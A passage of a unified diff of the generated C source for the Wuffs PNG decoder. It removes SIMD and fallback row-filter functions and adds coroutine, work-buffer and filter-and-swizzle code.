4; -- v_prev.ptr += 4; -- } -- v_curr.len = 0; -- v_prev.len = 0; -+ self->private_data.s_do_tell_me_more.scratch = 4u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ if (self->private_data.s_do_tell_me_more.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_tell_me_more.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --// ‼ WUFFS MULTI-FILE SECTION -arm_neon -- --// ‼ WUFFS MULTI-FILE SECTION +arm_neon --// -------- func png.decoder.filter_4_distance_3_arm_neon -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint8x8_t v_fa = {0}; -- uint8x8_t v_fb = {0}; -- uint8x8_t v_fc = {0}; -- uint8x8_t v_fx = {0}; -- uint16x8_t v_fafb = {0}; -- uint16x8_t v_fcfc = {0}; -- uint16x8_t v_pa = {0}; -- uint16x8_t v_pb = {0}; -- uint16x8_t v_pc = {0}; -- uint16x8_t v_cmpab = {0}; -- uint16x8_t v_cmpac = {0}; -- uint8x8_t v_picka = {0}; -- uint8x8_t v_pickb = {0}; -+ iop_a_src += self->private_data.s_do_tell_me_more.scratch; -+ self->private_impl.f_metadata_flavor = 0u; -+ self->private_impl.f_metadata_fourcc = 0u; -+ self->private_impl.f_metadata_x = 0u; -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; -+ self->private_impl.f_call_sequence &= 239u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); -- while (v_curr.ptr < i_end0_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); -- while (v_curr.ptr < i_end1_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 3; -- v_prev.len = 3; -- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end2_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- } -- v_curr.len = 0; -- v_prev.len = 0; -+ ok: -+ self->private_impl.p_do_tell_me_more = 0; -+ goto exit; - } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --// ‼ WUFFS MULTI-FILE SECTION -arm_neon - --// ‼ WUFFS MULTI-FILE SECTION +arm_neon --// -------- func png.decoder.filter_4_distance_4_arm_neon -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint8x8_t v_fa = {0}; -- uint8x8_t v_fb = {0}; -- uint8x8_t v_fc = {0}; -- uint8x8_t v_fx = {0}; -- uint16x8_t v_fafb = {0}; -- uint16x8_t v_fcfc = {0}; -- uint16x8_t v_pa = {0}; -- uint16x8_t v_pb = {0}; -- uint16x8_t v_pc = {0}; -- uint16x8_t v_cmpab = {0}; -- uint16x8_t v_cmpac = {0}; -- uint8x8_t v_picka = {0}; -- uint8x8_t v_pickb = {0}; -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_tell_me_more.v_zlib_status = v_zlib_status; - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fafb = vaddl_u8(v_fa, v_fb); -- v_fcfc = vaddl_u8(v_fc, v_fc); -- v_pa = vabdl_u8(v_fb, v_fc); -- v_pb = vabdl_u8(v_fa, v_fc); -- v_pc = vabdq_u16(v_fafb, v_fcfc); -- v_cmpab = vcleq_u16(v_pa, v_pb); -- v_cmpac = vcleq_u16(v_pa, v_pc); -- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fc = v_fb; -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- } -- v_curr.len = 0; -- v_prev.len = 0; -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); - } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --// ‼ WUFFS MULTI-FILE SECTION -arm_neon -- --// -------- func png.decoder.filter_1 -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- return (*self->private_impl.choosy_filter_1)(self, a_curr); --} -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- uint64_t v_filter_distance = 0; -- uint8_t v_fa = 0; -- uint64_t v_i_start = 0; -- uint64_t v_i = 0; -- -- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -- v_i_start = 0u; -- while (v_i_start < v_filter_distance) { -- v_fa = 0u; -- v_i = v_i_start; -- while (v_i < ((uint64_t)(a_curr.len))) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); -- v_fa = a_curr.ptr[v_i]; -- v_i += v_filter_distance; -- } -- v_i_start += 1u; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func png.decoder.filter_1_distance_3_fallback -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_3_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- wuffs_base__slice_u8 v_curr = {0}; -- uint8_t v_fa0 = 0; -- uint8_t v_fa1 = 0; -- uint8_t v_fa2 = 0; - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 3; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- } -- v_curr.len = 3; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end1_curr) { -- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- } -- v_curr.len = 0; -- } -- return wuffs_base__make_empty_struct(); -+ return status; - } - --// -------- func png.decoder.filter_1_distance_4_fallback -+// -------- func png.decoder.workbuf_len - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- wuffs_base__slice_u8 v_curr = {0}; -- uint8_t v_fa0 = 0; -- uint8_t v_fa1 = 0; -- uint8_t v_fa2 = 0; -- uint8_t v_fa3 = 0; -- -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); -- v_curr.ptr[3u] = v_fa3; -- v_curr.ptr += 4; -- } -- v_curr.len = 0; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_png__decoder__workbuf_len( -+ const wuffs_png__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func png.decoder.filter_2 -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_2( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- uint64_t v_n = 0; -- uint64_t v_i = 0; -- -- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -- v_i = 0u; -- while (v_i < v_n) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); -- v_i += 1u; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } -- return wuffs_base__make_empty_struct(); -+ -+ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); - } - --// -------- func png.decoder.filter_3 -+// -------- func png.decoder.filter_and_swizzle - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3( -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle( - wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf) { -+ return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); - } - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3__choosy_default( -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle__choosy_default( - wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- uint64_t v_filter_distance = 0; -- uint64_t v_n = 0; -- uint64_t v_i = 0; -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint64_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row0 = 0; -+ uint64_t v_dst_bytes_per_row1 = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ uint32_t v_y = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint8_t v_filter = 0; -+ wuffs_base__slice_u8 v_curr_row = {0}; -+ wuffs_base__slice_u8 v_prev_row = {0}; - -- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -- if (((uint64_t)(a_prev.len)) == 0u) { -- v_i = v_filter_distance; -- while (v_i < ((uint64_t)(a_curr.len))) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_curr.ptr[(v_i - v_filter_distance)] / 2u))); -- v_i += 1u; -- } -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ } -+ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -+ v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); -+ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { -+ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -+ 0u, -+ 0u, -+ v_dst_bytes_per_row1, -+ ((uint64_t)(v_tab.height))); -+ } -+ if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { -+ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -+ v_dst_bytes_per_row0, -+ 0u, -+ ((uint64_t)(v_tab.width)), -+ ((uint64_t)(v_tab.height))); - } else { -- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -- v_i = 0u; -- while ((v_i < v_n) && (v_i < v_filter_distance)) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_prev.ptr[v_i] / 2u))); -- v_i += 1u; -+ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -+ 0u, -+ 0u, -+ 0u, -+ 0u); -+ } -+ v_y = self->private_impl.f_frame_rect_y0; -+ while (v_y < self->private_impl.f_frame_rect_y1) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); -+ if (1u > ((uint64_t)(a_workbuf.len))) { -+ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); - } -- v_i = v_filter_distance; -- while (v_i < v_n) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); -- v_i += 1u; -+ v_filter = a_workbuf.ptr[0u]; -+ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); -+ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { -+ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -+ } -+ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); -+ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); -+ if (v_filter == 0u) { -+ } else if (v_filter == 1u) { -+ wuffs_png__decoder__filter_1(self, v_curr_row); -+ } else if (v_filter == 2u) { -+ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); -+ } else if (v_filter == 3u) { -+ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); -+ } else if (v_filter == 4u) { -+ wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); -+ } else { -+ return wuffs_base__make_status(wuffs_png__error__bad_filter); - } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); -+ v_prev_row = v_curr_row; -+ v_y += 1u; - } -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__make_status(NULL); - } - --// -------- func png.decoder.filter_3_distance_3_fallback -+// -------- func png.decoder.filter_and_swizzle_tricky - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_3_fallback( -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle_tricky( - wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint8_t v_fa0 = 0; -- uint8_t v_fa1 = 0; -- uint8_t v_fa2 = 0; -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint64_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row1 = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ uint64_t v_src_bytes_per_pixel = 0; -+ uint32_t v_x = 0; -+ uint32_t v_y = 0; -+ uint64_t v_i = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint8_t v_filter = 0; -+ wuffs_base__slice_u8 v_s = {0}; -+ wuffs_base__slice_u8 v_curr_row = {0}; -+ wuffs_base__slice_u8 v_prev_row = {0}; -+ uint8_t v_bits_unpacked[8] = {0}; -+ uint8_t v_bits_packed = 0; -+ uint8_t v_packs_remaining = 0; -+ uint8_t v_multiplier = 0; -+ uint8_t v_shift = 0; - -- if (((uint64_t)(a_prev.len)) == 0u) { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 3; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ } -+ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -+ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_src_bytes_per_pixel = 1u; -+ if (self->private_impl.f_depth >= 8u) { -+ v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u))))); -+ } -+ if (self->private_impl.f_chunk_type_array[0u] == 73u) { -+ v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); -+ } else { -+ v_y = self->private_impl.f_frame_rect_y0; -+ } -+ while (v_y < self->private_impl.f_frame_rect_y1) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); -+ if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); -+ } -+ if (1u > ((uint64_t)(a_workbuf.len))) { -+ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -+ } -+ v_filter = a_workbuf.ptr[0u]; 